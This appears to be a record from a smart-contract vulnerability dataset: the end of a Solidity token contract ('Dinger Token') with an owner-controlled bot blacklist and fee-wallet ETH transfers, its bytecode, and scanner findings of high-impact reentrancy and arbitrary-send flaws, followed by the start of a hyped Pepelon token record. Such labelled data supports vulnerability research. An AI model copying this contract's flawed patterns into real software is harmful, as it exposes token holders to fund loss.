function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f7146104fb578063db92dbb614610524578063dd62ed3e1461054f578063e6ec64ec1461058c57610171565b8063c3c8cd80146104a4578063c4081a4c146104bb578063c9567bf9146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806395d89b4114610413578063a9059cbb1461043e578063b515566a1461047b57610171565b8063313ce56711610123578063313ce5671461029a5780633bbac579146102c5578063437823ec146103025780634b740b161461032b5780635d098b38146103545780636fc3eaec1461037d57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd14610209578063273123b71461024657806327f3a72a1461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105b5565b6040516101989190613285565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612daf565b6105f2565b6040516101d5919061326a565b60405180910390f35b3480156101ea57600080fd5b506101f3610610565b6040516102009190613407565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612d5c565b610621565b60405161023d919061326a565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612c95565b6106fa565b005b34801561027b57600080fd5b506102846107ea565b6040516102919190613407565b60405180910390f35b3480156102a657600080fd5b506102af6107fa565b6040516102bc919061347c565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e79190612c95565b610803565b6040516102f9919061326a565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612cef565b610859565b005b34801561033757600080fd5b50610352600480360381019061034d9190612e38565b610915565b005b34801561036057600080fd5b5061037b60048036038101906103769190612cef565b610993565b005b34801561038957600080fd5b50610392610b0a565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612c95565b610b7c565b6040516103c89190613407565b60405180910390f35b3480156103dd57600080fd5b506103e6610bcd565b005b3480156103f457600080fd5b506103fd610d20565b60405161040a919061319c565b60405180910390f35b34801561041f57600080fd5b50610428610d49565b6040516104359190613285565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190612daf565b610d86565b604051610472919061326a565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190612def565b610da4565b005b3480156104b057600080fd5b506104b9610fb4565b005b3480156104c757600080fd5b506104e260048036038101906104dd9190612e92565b61102e565b005b3480156104f057600080fd5b506104f96110a7565b005b34801561050757600080fd5b50610522600480360381019061051d9190612cef565b6115d2565b005b34801561053057600080fd5b5061053961168e565b6040516105469190613407565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612d1c565b6116c0565b6040516105839190613407565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612e92565b611747565b005b60606040518060400160405280600c81526020017f44696e67657220546f6b656e0000000000000000000000000000000000000000815250905090565b60006106066105ff6117c0565b84846117c8565b6001905092915050565b6000683635c9adc5dea00000905090565b600061062e848484611993565b6106ef8461063a6117c0565b6106ea85604051806060016040528060288152602001613b8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a06117c0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe59092919063ffffffff16565b6117c8565b600190509392505050565b6107026117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078690613347565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006107f530610b7c565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089a6117c0565b73ffffffffffffffffffffffffffffffffffffffff16146108ba57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109566117c0565b73ffffffffffffffffffffffffffffffffffffffff161461097657600080fd5b80601060156101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d46117c0565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b600060056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4b6117c0565b73ffffffffffffffffffffffffffffffffffffffff1614610b6b57600080fd5b6000479050610b7981612049565b50565b6000610bc6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612144565b9050919050565b610bd56117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5990613347565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f44494e4745520000000000000000000000000000000000000000000000000000815250905090565b6000610d9a610d936117c0565b8484611993565b6001905092915050565b610dac6117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3090613347565b60405180910390fd5b60005b8151811015610fb057601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610e9157610e906137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610f255750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f0457610f036137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610f9d57600160066000848481518110610f4357610f426137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610fa89061372f565b915050610e3c565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ff56117c0565b73ffffffffffffffffffffffffffffffffffffffff161461101557600080fd5b600061102030610b7c565b905061102b816121b2565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661106f6117c0565b73ffffffffffffffffffffffffffffffffffffffff161461108f57600080fd5b600181111561109d57600080fd5b8060098190555050565b6110af6117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113390613347565b60405180910390fd5b601060149054906101000a900460ff161561118c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611183906133c7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121c30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006117c8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561126257600080fd5b505afa158015611276573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129a9190612cc2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156112fc57600080fd5b505afa158015611310573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113349190612cc2565b6040518363ffffffff1660e01b81526004016113519291906131b7565b602060405180830381600087803b15801561136b57600080fd5b505af115801561137f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a39190612cc2565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061142c30610b7c565b600080611437610d20565b426040518863ffffffff1660e01b815260040161145996959493929190613209565b6060604051808303818588803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114ab9190612ebf565b505050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154d9291906131e0565b602060405180830381600087803b15801561156757600080fd5b505af115801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f9190612e65565b506001601060146101000a81548160ff021916908315150217905550610e10426115c9919061353d565b60118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116136117c0565b73ffffffffffffffffffffffffffffffffffffffff161461163357600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006116bb601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886117c0565b73ffffffffffffffffffffffffffffffffffffffff16146117a857600080fd5b60078111156117b657600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182f906133a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189f906132e7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119869190613407565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa90613387565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6a906132a7565b60405180910390fd5b60008111611ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aad90613367565b60405180910390fd5b611abe610d20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b2c5750611afc610d20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bd55750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bde57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c895750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cdf5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9b57601060149054906101000a900460ff16611d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2a906133e7565b60405180910390fd5b426011541115611d9a576000611d4883610b7c565b9050611d7a6064611d6c6002683635c9adc5dea0000061243a90919063ffffffff16565b6124b590919063ffffffff16565b611d8d82846124ff90919063ffffffff16565b1115611d9857600080fd5b505b5b6000611da630610b7c565b9050601060169054906101000a900460ff16158015611e135750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e2b5750601060149054906101000a900460ff165b15611f09576000811115611eef57611e8a6064611e7c6005611e6e601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61243a90919063ffffffff16565b6124b590919063ffffffff16565b811115611ee557611ee26064611ed46005611ec6601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61243a90919063ffffffff16565b6124b590919063ffffffff16565b90505b611eee816121b2565b5b60004790506000811115611f0757611f0647612049565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fb25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611fc95750601060159054906101000a900460ff165b15611fd357600090505b611fdf8484848461255d565b50505050565b600083831115829061202d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120249190613285565b60405180910390fd5b506000838561203c919061361e565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120996002846124b590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156120c4573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121156002846124b590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612140573d6000803e3d6000fd5b5050565b600060075482111561218b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612182906132c7565b60405180910390fd5b600061219561258a565b90506121aa81846124b590919063ffffffff16565b915050919050565b6001601060166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121ea576121e9613805565b5b6040519080825280602002602001820160405280156122185781602001602082028036833780820191505090505b50905030816000815181106122305761222f6137d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122d257600080fd5b505afa1580156122e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061230a9190612cc2565b8160018151811061231e5761231d6137d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061238530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117c8565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123e9959493929190613422565b600060405180830381600087803b15801561240357600080fd5b505af1158015612417573d6000803e3d6000fd5b50505050506000601060166101000a81548160ff02191690831515021790555050565b60008083141561244d57600090506124af565b6000828461245b91906135c4565b905082848261246a9190613593565b146124aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a190613327565b60405180910390fd5b809150505b92915050565b60006124f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125b5565b905092915050565b600080828461250e919061353d565b905083811015612553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254a90613307565b60405180910390fd5b8091505092915050565b8061256b5761256a612618565b5b61257684848461265b565b8061258457612583612826565b5b50505050565b600080600061259761283a565b915091506125ae81836124b590919063ffffffff16565b9250505090565b600080831182906125fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f39190613285565b60405180910390fd5b506000838561260b9190613593565b9050809150509392505050565b600060095414801561262c57506000600a54145b1561263657612659565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b60008060008060008061266d8761289c565b9550955095509550955095506126cb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ac8161294e565b6127b68483612a0b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128139190613407565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050612870683635c9adc5dea000006007546124b590919063ffffffff16565b82101561288f57600754683635c9adc5dea00000935093505050612898565b81819350935050505b9091565b60008060008060008060008060006128b98a600954600a54612a45565b92509250925060006128c961258a565b905060008060006128dc8e878787612adb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061294683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fe5565b905092915050565b600061295861258a565b9050600061296f828461243a90919063ffffffff16565b90506129c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a208260075461290490919063ffffffff16565b600781905550612a3b816008546124ff90919063ffffffff16565b6008819055505050565b600080600080612a716064612a63888a61243a90919063ffffffff16565b6124b590919063ffffffff16565b90506000612a9b6064612a8d888b61243a90919063ffffffff16565b6124b590919063ffffffff16565b90506000612ac482612ab6858c61290490919063ffffffff16565b61290490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612af4858961243a90919063ffffffff16565b90506000612b0b868961243a90919063ffffffff16565b90506000612b22878961243a90919063ffffffff16565b90506000612b4b82612b3d858761290490919063ffffffff16565b61290490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612b77612b72846134bc565b613497565b90508083825260208201905082856020860282011115612b9a57612b99613839565b5b60005b85811015612bca5781612bb08882612bd4565b845260208401935060208301925050600181019050612b9d565b5050509392505050565b600081359050612be381613b26565b92915050565b600081519050612bf881613b26565b92915050565b600081359050612c0d81613b3d565b92915050565b600082601f830112612c2857612c27613834565b5b8135612c38848260208601612b64565b91505092915050565b600081359050612c5081613b54565b92915050565b600081519050612c6581613b54565b92915050565b600081359050612c7a81613b6b565b92915050565b600081519050612c8f81613b6b565b92915050565b600060208284031215612cab57612caa613843565b5b6000612cb984828501612bd4565b91505092915050565b600060208284031215612cd857612cd7613843565b5b6000612ce684828501612be9565b91505092915050565b600060208284031215612d0557612d04613843565b5b6000612d1384828501612bfe565b91505092915050565b60008060408385031215612d3357612d32613843565b5b6000612d4185828601612bd4565b9250506020612d5285828601612bd4565b9150509250929050565b600080600060608486031215612d7557612d74613843565b5b6000612d8386828701612bd4565b9350506020612d9486828701612bd4565b9250506040612da586828701612c6b565b9150509250925092565b60008060408385031215612dc657612dc5613843565b5b6000612dd485828601612bd4565b9250506020612de585828601612c6b565b9150509250929050565b600060208284031215612e0557612e04613843565b5b600082013567ffffffffffffffff811115612e2357612e2261383e565b5b612e2f84828501612c13565b91505092915050565b600060208284031215612e4e57612e4d613843565b5b6000612e5c84828501612c41565b91505092915050565b600060208284031215612e7b57612e7a613843565b5b6000612e8984828501612c56565b91505092915050565b600060208284031215612ea857612ea7613843565b5b6000612eb684828501612c6b565b91505092915050565b600080600060608486031215612ed857612ed7613843565b5b6000612ee686828701612c80565b9350506020612ef786828701612c80565b9250506040612f0886828701612c80565b9150509250925092565b6000612f1e8383612f2a565b60208301905092915050565b612f3381613652565b82525050565b612f4281613652565b82525050565b6000612f53826134f8565b612f5d818561351b565b9350612f68836134e8565b8060005b83811015612f99578151612f808882612f12565b9750612f8b8361350e565b925050600181019050612f6c565b5085935050505092915050565b612faf81613676565b82525050565b612fbe816136b9565b82525050565b6000612fcf82613503565b612fd9818561352c565b9350612fe98185602086016136cb565b612ff281613848565b840191505092915050565b600061300a60238361352c565b915061301582613859565b604082019050919050565b600061302d602a8361352c565b9150613038826138a8565b604082019050919050565b600061305060228361352c565b915061305b826138f7565b604082019050919050565b6000613073601b8361352c565b915061307e82613946565b602082019050919050565b600061309660218361352c565b91506130a18261396f565b604082019050919050565b60006130b960208361352c565b91506130c4826139be565b602082019050919050565b60006130dc60298361352c565b91506130e7826139e7565b604082019050919050565b60006130ff60258361352c565b915061310a82613a36565b604082019050919050565b600061312260248361352c565b915061312d82613a85565b604082019050919050565b600061314560178361352c565b915061315082613ad4565b602082019050919050565b600061316860188361352c565b915061317382613afd565b602082019050919050565b613187816136a2565b82525050565b613196816136ac565b82525050565b60006020820190506131b16000830184612f39565b92915050565b60006040820190506131cc6000830185612f39565b6131d96020830184612f39565b9392505050565b60006040820190506131f56000830185612f39565b613202602083018461317e565b9392505050565b600060c08201905061321e6000830189612f39565b61322b602083018861317e565b6132386040830187612fb5565b6132456060830186612fb5565b6132526080830185612f39565b61325f60a083018461317e565b979650505050505050565b600060208201905061327f6000830184612fa6565b92915050565b6000602082019050818103600083015261329f8184612fc4565b905092915050565b600060208201905081810360008301526132c081612ffd565b9050919050565b600060208201905081810360008301526132e081613020565b9050919050565b6000602082019050818103600083015261330081613043565b9050919050565b6000602082019050818103600083015261332081613066565b9050919050565b6000602082019050818103600083015261334081613089565b9050919050565b60006020820190508181036000830152613360816130ac565b9050919050565b60006020820190508181036000830152613380816130cf565b9050919050565b600060208201905081810360008301526133a0816130f2565b9050919050565b600060208201905081810360008301526133c081613115565b9050919050565b600060208201905081810360008301526133e081613138565b9050919050565b600060208201905081810360008301526134008161315b565b9050919050565b600060208201905061341c600083018461317e565b92915050565b600060a082019050613437600083018861317e565b6134446020830187612fb5565b81810360408301526134568186612f48565b90506134656060830185612f39565b613472608083018461317e565b9695505050505050565b6000602082019050613491600083018461318d565b92915050565b60006134a16134b2565b90506134ad82826136fe565b919050565b6000604051905090565b600067ffffffffffffffff8211156134d7576134d6613805565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613548826136a2565b9150613553836136a2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561358857613587613778565b5b828201905092915050565b600061359e826136a2565b91506135a9836136a2565b9250826135b9576135b86137a7565b5b828204905092915050565b60006135cf826136a2565b91506135da836136a2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561361357613612613778565b5b828202905092915050565b6000613629826136a2565b9150613634836136a2565b92508282101561364757613646613778565b5b828203905092915050565b600061365d82613682565b9050919050565b600061366f82613682565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006136c4826136a2565b9050919050565b60005b838110156136e95780820151818401526020810190506136ce565b838111156136f8576000848401525b50505050565b61370782613848565b810181811067ffffffffffffffff8211171561372657613725613805565b5b80604052505050565b600061373a826136a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561376d5761376c613778565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613b2f81613652565b8114613b3a57600080fd5b50565b613b4681613664565b8114613b5157600080fd5b50565b613b5d81613676565b8114613b6857600080fd5b50565b613b74816136a2565b8114613b7f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e851631ae02db21e1b87adac8c622e4d9187a5473ad99086fdacbedb41a3c64f64736f6c63430008050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,405 |
0x5698e72cf37545baf864e4c5f0fca4820023b176 | /**
*Submitted for verification at Etherscan.io on 2021-05-03
*/
/**
#PEPELON - Pepelon Smart Contract
Completely community based. Feel free to do your part. No team tokens. No presale. No security token. No reserved funds. All memes.
The community builds, runs the socials, website and will make sure to gain visibility.
Pepelon - The road to Mars and Beyond
████████████ ██████
████ ████ ████ ██████
██ ░░░░░░░░░░░░ ██ ██ ░░░░░░ ██
██ ░░░░░░░░░░░░░░░░░░░░ ████ ░░░░░░░░░░░░░░░░ ██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░░░░░░░░░░░░░░░░░░░░ ██
██ ░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░ ██
██ ░░░░░░░░░░░░▒▒▒▒░░░░░░░░░░░░░░░░▒▒░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████
██ ░░░░░░░░░░▒▒░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░██
██ ░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒░░░░░░░░░░▒▒░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░░░██
██ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒░░▒▒▒▒░░░░░░░░░░░░░░░░▒▒▒▒░░██
